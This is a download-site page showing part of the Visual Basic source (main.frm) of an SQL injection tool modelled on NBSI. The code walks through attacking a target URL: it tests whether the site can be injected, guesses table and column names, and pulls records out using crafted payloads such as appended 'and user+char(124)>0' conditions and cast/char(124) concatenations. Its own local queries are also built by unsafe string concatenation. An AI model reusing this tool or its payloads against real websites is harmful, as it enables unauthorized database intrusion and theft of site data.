⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.frm

📁 注入工具的VB源代码实现, 和nbsi类似!! 还有不完善的地方, 希望一起加入PHP+Mysql的分析功能
💻 FRM
📖 第 1 页 / 共 5 页
字号:
    
    If Database_Type = 0 Then
        If Decide_Method = 1 Then
            Database_Type = FunDatabase_Type(TxtURL, Decide_Method, Inject_Method)
        Else
            If Len(TxtKeyword.Text) = 0 Then
                Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
                Exit Sub
            End If
            Database_Type = FunDatabase_Type_ByKeyword(TxtURL, Decide_Method, Inject_Method)
        End If
    End If
    
    If Database_Type > 0 Then
        OptDatabase_Type(Database_Type - 1).Enabled = True
        OptDatabase_Type(Database_Type - 1).Value = True
    End If
    
    sql = "Update SiteList set Inject_Method=" & Inject_Method & ",Database_Type=" & Database_Type & " Where SiteID=" & SiteID
    conn.Execute (sql)
    
    Help.Text = "提示:" & vbCrLf & "分析完毕,本网址可注入,请进入下一步骤:表名猜解"
    
    btnGetTable.Enabled = True
    txtTableName.Enabled = True
    btnAddTable.Enabled = True
    TableList.Enabled = True
    TxtKeyword.Enabled = False
    ProgressBar.Value = 100
End Sub

Private Sub LoadOldData(ByVal SiteID As Integer)
    sql = "Select * from SiteList Where SiteID=" & SiteID
    Set rs = conn.Execute(sql)
    If Not rs.EOF Then
        Decide_Method = rs("Decide_Method")
        OptDecide_Method(Decide_Method).Enabled = True
        OptDecide_Method(Decide_Method).Value = True
        
        If Decide_Method = 2 Then
            KeyWord = IIf(IsNull(rs("Keyword")), "", rs("Keyword"))
            'TxtKeyword.Enabled = True
            TxtKeyword.Text = KeyWord
        End If
        
        Inject_Method = rs("Inject_Method")
        If Inject_Method > 0 Then
            OptInject_Method(Inject_Method - 1).Enabled = True
            OptInject_Method(Inject_Method - 1).Value = True
        End If
        
        Database_Type = rs("Database_Type")
        If Database_Type > 0 Then
            OptDatabase_Type(Database_Type - 1).Enabled = True
            OptDatabase_Type(Database_Type - 1).Value = True
        End If
        
        btnCheck.Enabled = False
    End If
    Set rs = Nothing
    Call ReloadTableName(SiteID)
    TableList.Enabled = True
    txtTableName.Enabled = True
    btnGetTable.Enabled = True
    btnAddTable.Enabled = True
End Sub

Private Sub RecordList_Click()
    On Error Resume Next
    FieldArr = Split(TxtRecordField.Text, ",")
    ValueArr = Split(RecordList.List(RecordList.ListIndex), "|")
    For i = 0 To UBound(FieldArr) - 1
        RecordStr = RecordStr & FieldArr(i) & ":" & ValueArr(i) & " "
    Next
    TxtSelectedValue.Text = Left(RecordStr, Len(RecordStr) - 1)
    On Error GoTo 0
End Sub

'----------------------------------------------------------------------------------------------
' Operate of Table
'----------------------------------------------------------------------------------------------
Private Sub TableList_Click()
    If TableList.ListIndex >= 0 Then
        btnDelTable.Enabled = True
        If Left(TableList.List(TableList.ListIndex), 2) = "Y_" And btnGetTable.Caption = "猜解表名" Then
            btnGetField.Enabled = True
            FieldList.Enabled = True
            txtFieldName.Enabled = True
            btnAddField.Enabled = True
        Else
            btnGetField.Enabled = False
            FieldList.Enabled = False
            txtFieldName.Enabled = False
            btnAddField.Enabled = False
        End If
    End If
    TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
    txtTableName.Text = TableNameSelected
    Call ReloadFieldName(SiteID, TableNameSelected)
End Sub

Private Sub btnGetTable_Click()
    ProgressBar.Value = 0
    If btnGetTable.Caption = "停止猜解" Then
        StopFlag = True
        Main.Enabled = False
        btnGetTable.Caption = "猜解表名"
    Else
        StopFlag = False
        btnGetTable.Caption = "停止猜解"
        txtTableName.Enabled = False
        btnAddTable.Enabled = False
        btnGetField.Enabled = False
        FieldList.Enabled = False
        txtFieldName.Enabled = False
        btnAddField.Enabled = False
        Call FunGet_TableName(TxtURL)
        btnGetTable.Caption = "猜解表名"
        txtTableName.Enabled = True
        btnAddTable.Enabled = True
        Help.Text = "提示:表名猜解完成"
    End If
    ProgressBar.Value = 100
End Sub

Private Sub btnAddTable_Click()
    TableName = txtTableName.Text
    If TableName = "" Or InStr(TableName, " ") > 0 Then
        Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
    Else
        isValidated = FunTableExist(TxtURL, TableName)
        sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
        conn.Execute (sql)
        sql = "Insert into TableList(SiteID,TableName,isValidated) values(" & SiteID & ",'" & TableName & "'," & isValidated & ")"
        conn.Execute (sql)
        Call ReloadTableName(SiteID)
        TableList.ListIndex = TableList.ListCount - 1
    End If
End Sub

Private Sub btnDelTable_Click()
    Selected = TableList.ListIndex
    TableName = Mid(TableList.List(Selected), 3)
    sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
    conn.Execute (sql)
    Call ReloadTableName(SiteID)
    If Selected > 0 Then TableList.ListIndex = IIf(Selected > TableList.ListCount - 1, TableList.ListCount - 1, Selected)
End Sub

Private Sub ReloadTableName(ByVal SiteID As Integer)
    TableList.Clear
    sql = "Select * from TableList Where SiteID=" & SiteID
    Set rs = conn.Execute(sql)
    Do While Not rs.EOF
        TableList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("TableName"))
        rs.MoveNext
    Loop
    Set rs = Nothing
End Sub


'----------------------------------------------------------------------------------------------
' Operate of Field
'----------------------------------------------------------------------------------------------
Private Sub btnGetField_Click()
    ProgressBar.Value = 0
    If btnGetField.Caption = "停止猜解" Then
        StopFlag = True
        Main.Enabled = False
        btnGetField.Caption = "猜解列名"
    Else
        StopFlag = False
        FieldList.Enabled = True
        txtFieldName.Enabled = False
        btnAddField.Enabled = False
        
        btnGetTable.Enabled = False
        TableList.Enabled = False
        txtTableName.Enabled = False
        btnAddTable.Enabled = False
        btnDelTable.Enabled = False
        
        btnGetField.Caption = "停止猜解"
        TableName = TableList.List(TableList.ListIndex)
        TableName = Mid(TableName, 3)
        Call FunGet_FieldName(TxtURL, TableName)
        btnGetField.Caption = "猜解列名"
        
        btnGetTable.Enabled = True
        TableList.Enabled = True
        txtTableName.Enabled = True
        btnAddTable.Enabled = True
        btnDelTable.Enabled = True
        
        txtFieldName.Enabled = True
        btnAddField.Enabled = True
        Help.Text = "提示:列名猜解完成"
    End If
    ProgressBar.Value = 100
End Sub

Private Sub btnAddField_Click()
    FieldName = txtFieldName.Text
    TableName = Mid(TableList.List(TableList.ListIndex), 3)
    
    If FieldName = "" Or InStr(FieldName, " ") > 0 Then
        Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
    Else
        isValidated = FunFieldExist(TxtURL, TableName, FieldName)
        sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
        conn.Execute (sql)
        sql = "Insert into FieldList(SiteID,TableName,FieldName,isValidated) values(" & SiteID & ",'" & TableName & "','" & FieldName & "'," & isValidated & ")"
        conn.Execute (sql)
        Call ReloadFieldName(SiteID, TableName)
        FieldList.ListIndex = FieldList.ListCount - 1
    End If
End Sub

Private Sub btnDelField_Click()
    TableName = Mid(TableList.List(TableList.ListIndex), 3)
    Selected = FieldList.ListIndex
    FieldName = Mid(FieldList.List(Selected), 3)
    sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
    conn.Execute (sql)
    Call ReloadFieldName(SiteID, TableName)
    If Selected > 0 Then FieldList.ListIndex = IIf(Selected > FieldList.ListCount - 1, FieldList.ListCount - 1, Selected)
End Sub


Private Sub ReloadFieldName(ByVal SiteID As Integer, ByVal TableName As String)
    FieldList.Clear
    sql = "Select * from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
    Set rs = conn.Execute(sql)
    Do While Not rs.EOF
        FieldList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("FieldName"))
        rs.MoveNext
    Loop
    Set rs = Nothing
End Sub


Private Sub FieldList_Click()
    If FieldList.ListIndex >= 0 Then
        btnDelField.Enabled = True
    Else
        btnDelField.Enabled = False
    End If
    First_Loop = True
    FieldListMain = ""
    FieldListSub = ""
    Count_FieldsSelected = 0
    For i = 0 To FieldList.ListCount - 1
        If FieldList.Selected(i) Then
            Count_FieldsSelected = Count_FieldsSelected + 1
            If First_Loop Then
                btnGetRecord.Enabled = True
                txtCondition.Enabled = True
                txtRecStart.Enabled = True
                Sort_Field = FieldList.List(i)
                First_Loop = False
            End If
            
            FieldNameSelected = Mid(FieldList.List(i), 3)
            If Database_Type = 3 Then
                FieldListMain = FieldListMain & "cstr([" & FieldNameSelected & "])%2Bchr(124)%2B"
            Else
                FieldListMain = FieldListMain & "isNull(cast([" & FieldNameSelected & "] as varchar(8000)),char(32))%2Bchar(124)%2B"
            End If
            FieldListSub = FieldListSub & FieldNameSelected & ","
        End If
    Next
    If First_Loop Then btnGetRecord.Enabled = False
    
    If Right(FieldListMain, 3) = "%2B" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 3)
    If Count_FieldsSelected > 1 And Right(FieldListMain, 11) = "%2Bchr(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 11)
    If Count_FieldsSelected > 1 And Right(FieldListMain, 12) = "%2Bchar(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 12)
    
    TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
    FieldNameSelected = Mid(FieldList.List(FieldList.ListIndex), 3)
    txtFieldName.Text = FieldNameSelected
    
    If Right(FieldListSub, 1) = "," Then AscStr = Left(FieldListSub, Len(FieldListSub) - 1)
    DescStr = Replace(FieldListSub, ",", " desc,")
    If Right(DescStr, 1) = "," Then DescStr = Left(DescStr, Len(DescStr) - 1)
End Sub


'----------------------------------------------------------------------------------------------
' Operate of Record
'----------------------------------------------------------------------------------------------
Private Sub btnGetRecord_Click()
    ProgressBar.Value = 0
    If btnGetRecord.Caption = "停止猜解" Then
        StopFlag = True
        Main.Enabled = False
        btnGetRecord.Caption = "猜解记录"
    Else
        StopFlag = False
        RecordList.Enabled = True
        TxtSelectedValue.Enabled = True
        btnExport.Enabled = True
        
        btnGetField.Enabled = False
        FieldList.Enabled = False
        txtFieldName.Enabled = False
        btnAddField.Enabled = False
        btnDelField.Enabled = False
        
        btnGetTable.Enabled = False
        TableList.Enabled = False
        txtTableName.Enabled = False
        btnAddTable.Enabled = False
        btnDelTable.Enabled = False
        txtCondition.Enabled = False
        txtRecStart.Enabled = False
        
        btnGetRecord.Caption = "停止猜解"
        TxtRecordField.Text = FieldListSub
        TxtRecordTable.Text = Mid(TableList.List(TableList.ListIndex), 3)
        Call FunGet_Record(TxtURL)
        btnGetRecord.Caption = "猜解记录"
        
        btnGetField.Enabled = True
        FieldList.Enabled = True
        txtFieldName.Enabled = True
        btnAddField.Enabled = True
        btnDelField.Enabled = True
        
        btnGetTable.Enabled = True
        TableList.Enabled = True
        txtTableName.Enabled = True
        btnAddTable.Enabled = True
        btnDelTable.Enabled = True
        txtCondition.Enabled = True
        txtRecStart.Enabled = True
    End If
    ProgressBar.Value = 100
End Sub


'----------------------------------------------------------------------------------------------
' Step 1: Decide_Method
'----------------------------------------------------------------------------------------------
Public Function FunDecide_Method(ByVal URL_Source As String) As Integer
    ResultArray = CommonGetHTTPHeadAndBody(URL_Source & " and user%2Bchar(124)>0")
    Pos = InStr(ResultArray(1), "varchar")
    If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
        Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
        LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
        If InStr(LineStr, " and user+char(124)") = 0 Then
            FunDecide_Method = 11
            Exit Function
        End If
    End If
    
    ResultArray = CommonGetHTTPHeadAndBody(URL_Source & "' and user%2Bchar(124)>0 and ''='")

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -